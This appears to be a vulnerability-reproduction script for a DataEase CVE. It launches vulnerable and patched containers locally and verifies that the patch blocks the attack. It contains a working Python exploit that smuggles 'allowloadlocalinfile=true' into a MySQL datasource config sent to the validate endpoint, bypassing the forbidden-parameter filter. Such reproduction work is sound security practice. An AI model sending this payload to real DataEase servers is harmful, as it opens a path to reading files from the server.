#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VULN_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.20"
FIX_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.21"
MYSQL_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/mysql:8.4.5"

# Cleanup function
cleanup() {
    echo "[*] Cleaning up containers and networks..."
    docker rm -f dataease-vuln dataease-fix mysql-vuln mysql-fix 2>/dev/null || true
    docker network rm de-net-vuln de-net-fix 2>/dev/null || true
}
trap cleanup EXIT

# Pre-clean any stale resources
docker rm -f dataease-vuln dataease-fix mysql-vuln mysql-fix 2>/dev/null || true
docker network rm de-net-vuln de-net-fix 2>/dev/null || true
sleep 2

# Ensure images are available
echo "[*] Ensuring Docker images are available..."
docker pull "$VULN_IMAGE" >/dev/null 2>&1 || true
docker pull "$FIX_IMAGE" >/dev/null 2>&1 || true
docker pull "$MYSQL_IMAGE" >/dev/null 2>&1 || true

# Find two free host ports for DataEase
PORT_PAIR=$(python3 -c "
import socket
def free_port():
    s = socket.socket()
    s.bind(('', 0))
    p = s.getsockname()[1]
    s.close()
    return p
print(free_port(), free_port())
")
VULN_PORT=$(echo "$PORT_PAIR" | awk '{print $1}')
FIX_PORT=$(echo "$PORT_PAIR" | awk '{print $2}')
echo "[*] Using dynamic ports: vuln=$VULN_PORT fix=$FIX_PORT"

# Write the exploit Python script
EXPLOIT_PY="$LOGS/exploit.py"
cat > "$EXPLOIT_PY" <<'PY'
import base64, json, urllib.request, sys

port = sys.argv[1]
url = f"http://127.0.0.1:{port}/de2api/datasource/validate"

malicious_config = {
    "type": "mysql",
    "host": "127.0.0.1",
    "port": 3306,
    "dataBase": "test",
    "extraParams": "allowloadlocalinfile=true",
    "illegalParameters": []
}

payload = {
    "type": "mysql",
    "name": "evil-ds",
    "nodeType": "datasource",
    "action": "validate",
    "configuration": base64.b64encode(json.dumps(malicious_config).encode()).decode()
}

req = urllib.request.Request(
    url,
    data=json.dumps(payload).encode(),
    headers={"Content-Type": "application/json"},
    method="POST"
)

try:
    with urllib.request.urlopen(req, timeout=15) as resp:
        body = resp.read().decode()
        print(body)
        sys.exit(0)
except urllib.error.HTTPError as e:
    body = e.read().decode()
    print(body)
    sys.exit(0)
except Exception as e:
    print(json.dumps({"error": str(e)}))
    sys.exit(1)
PY

# Function to start MySQL + DataEase pair with docker compose
start_pair() {
    local de_image=$1
    local de_name=$2
    local mysql_name=$3
    local network_name=$4
    local de_port=$5
    local base_dir=$6

    rm -rf "$base_dir"
    mkdir -p "$base_dir/bin/mysql" "$base_dir/data/mysql" "$base_dir/logs" \
             "$base_dir/data/static-resource" "$base_dir/data/geo" \
             "$base_dir/data/appearance" "$base_dir/data/exportData" \
             "$base_dir/data/plugin" "$base_dir/data/font" "$base_dir/data/i18n"

    # MySQL init script
    cat > "$base_dir/bin/mysql/init.sql" <<'EOF'
CREATE DATABASE IF NOT EXISTS `dataease` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;
EOF

    # MySQL config
    cat > "$base_dir/my.cnf" <<'EOF'
[mysqld]
default-storage-engine=INNODB
character_set_server=utf8mb4
max_connections=2000
innodb_flush_log_at_trx_commit=0
sync_binlog=0
sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION
skip-name-resolve
EOF

    # application.yml for DataEase
    cat > "$base_dir/application.yml" <<EOF
server:
  tomcat:
    connection-timeout: 70000
spring:
  servlet:
    multipart:
      max-file-size: 500MB
      max-request-size: 500MB
  datasource:
    url: jdbc:mysql://${mysql_name}:3306/dataease?autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false&allowPublicKeyRetrieval=true
    username: root
    password: Password123@mysql
dataease:
  origin-list: "http://localhost:8100"
  login_timeout: 960
task:
  executor:
    address: http://sync-task-actuator:9001
    log:
      path: /opt/dataease2.0/logs/sync-task/task-handler-log
EOF

    # Docker compose file
    cat > "$base_dir/compose.yml" <<EOF
services:
  ${mysql_name}:
    image: ${MYSQL_IMAGE}
    container_name: ${mysql_name}
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-uroot", "-pPassword123@mysql", "--protocol", "tcp"]
      interval: 5s
      timeout: 3s
      retries: 20
    environment:
      MYSQL_ROOT_PASSWORD: Password123@mysql
    volumes:
      - ${base_dir}/my.cnf:/etc/mysql/conf.d/my.cnf
      - ${base_dir}/bin/mysql:/docker-entrypoint-initdb.d/
      - ${base_dir}/data/mysql:/var/lib/mysql
    networks:
      - ${network_name}

  ${de_name}:
    image: ${de_image}
    container_name: ${de_name}
    ports:
      - "${de_port}:8100"
    depends_on:
      ${mysql_name}:
        condition: service_healthy
    networks:
      - ${network_name}
    environment:
      - SPRING_PROFILES_ACTIVE=standalone
    volumes:
      - ${base_dir}/application.yml:/opt/dataease2.0/conf/application.yml
      - ${base_dir}/logs:/opt/dataease2.0/logs
      - ${base_dir}/data/static-resource:/opt/dataease2.0/data/static-resource
      - ${base_dir}/data/geo:/opt/dataease2.0/data/geo
      - ${base_dir}/data/appearance:/opt/dataease2.0/data/appearance
      - ${base_dir}/data/exportData:/opt/dataease2.0/data/exportData
      - ${base_dir}/data/plugin:/opt/dataease2.0/data/plugin
      - ${base_dir}/data/font:/opt/dataease2.0/data/font
      - ${base_dir}/data/i18n:/opt/dataease2.0/data/i18n

networks:
  ${network_name}:
    name: ${network_name}
EOF

    cd "$base_dir"
    docker compose -f compose.yml up -d
    cd "$ROOT"
}

# Function to wait for DataEase API
wait_for_dataease() {
    local name=$1
    local port=$2
    echo "[*] Waiting for DataEase API ($name) on port $port..."
    for i in $(seq 1 180); do
        if curl -sf "http://127.0.0.1:${port}/de2api/datasource/types" >/dev/null 2>&1; then
            echo "[*] DataEase $name is responding on port $port"
            return 0
        fi
        if ! docker ps -q -f "name=$name" | grep -q .; then
            echo "[ERROR] Container $name stopped unexpectedly"
            docker logs "$name" > "$LOGS/${name}_crash.log" 2>&1 || true
            return 1
        fi
        sleep 3
    done
    echo "[ERROR] DataEase $name did not become ready in time"
    docker logs "$name" > "$LOGS/${name}_startup.log" 2>&1 || true
    return 1
}

# --- Test VULNERABLE version ---
echo ""
echo "=========================================="
echo "[1] Testing VULNERABLE version (v2.10.20)"
echo "=========================================="

start_pair "$VULN_IMAGE" dataease-vuln mysql-vuln de-net-vuln "$VULN_PORT" /tmp/dataease-repro-vuln
wait_for_dataease dataease-vuln "$VULN_PORT"

echo "[*] Sending malicious datasource validate request to vulnerable version..."
python3 "$EXPLOIT_PY" "$VULN_PORT" | tee "$LOGS/vulnerable_response.json"

echo "[*] Checking vulnerable version response..."
if grep -q "Communications link failure" "$LOGS/vulnerable_response.json"; then
    echo ""
    echo "[PASS] Vulnerable version confirmed: forbidden parameter bypassed."
    VULN_RESULT=0
else
    echo ""
    echo "[FAIL] Unexpected response from vulnerable version."
    VULN_RESULT=1
fi

cd /tmp/dataease-repro-vuln && docker compose -f compose.yml down >/dev/null 2>&1; cd "$ROOT"
sleep 5

# --- Test FIXED version ---
echo ""
echo "=========================================="
echo "[2] Testing FIXED version (v2.10.21)"
echo "=========================================="

start_pair "$FIX_IMAGE" dataease-fix mysql-fix de-net-fix "$FIX_PORT" /tmp/dataease-repro-fix
wait_for_dataease dataease-fix "$FIX_PORT"

echo "[*] Sending malicious datasource validate request to fixed version..."
python3 "$EXPLOIT_PY" "$FIX_PORT" | tee "$LOGS/fixed_response.json"

echo "[*] Checking fixed version response..."
if grep -q "Illegal parameter: allowloadlocalinfile" "$LOGS/fixed_response.json"; then
    echo ""
    echo "[PASS] Fixed version confirmed: forbidden parameter blocked."
    FIX_RESULT=0
else
    echo ""
    echo "[FAIL] Unexpected response from fixed version."
    FIX_RESULT=1
fi

cd /tmp/dataease-repro-fix && docker compose -f compose.yml down >/dev/null 2>&1; cd "$ROOT"

# Write runtime manifest
cat > "$ROOT/repro/runtime_manifest.json" <<EOF
{
  "cve": "CVE-2026-40899",
  "vulnerable_version": "v2.10.20",
  "fixed_version": "v2.10.21",
  "test_method": "docker_compose_mysql_http_api",
  "endpoints": {
    "vulnerable": "http://127.0.0.1:${VULN_PORT}/de2api/datasource/validate",
    "fixed": "http://127.0.0.1:${FIX_PORT}/de2api/datasource/validate"
  },
  "request_payload": {
    "type": "mysql",
    "name": "evil-ds",
    "nodeType": "datasource",
    "action": "validate",
    "configuration_base64_decoded": {
      "type": "mysql",
      "host": "127.0.0.1",
      "port": 3306,
      "dataBase": "test",
      "extraParams": "allowloadlocalinfile=true",
      "illegalParameters": []
    }
  },
  "responses": {
    "vulnerable": $(cat "$LOGS/vulnerable_response.json"),
    "fixed": $(cat "$LOGS/fixed_response.json")
  },
  "evidence": {
    "vulnerable_bypass_indicator": "Communications link failure",
    "fixed_block_indicator": "Illegal parameter: allowloadlocalinfile"
  }
}
EOF

echo ""
echo "=========================================="
echo "SUMMARY"
echo "=========================================="
if [ "$VULN_RESULT" -eq 0 ] && [ "$FIX_RESULT" -eq 0 ]; then
    echo "SUCCESS: CVE-2026-40899 reproduced and fix verified."
    exit 0
else
    echo "FAILURE: Could not reproduce or verify fix."
    exit 1
fi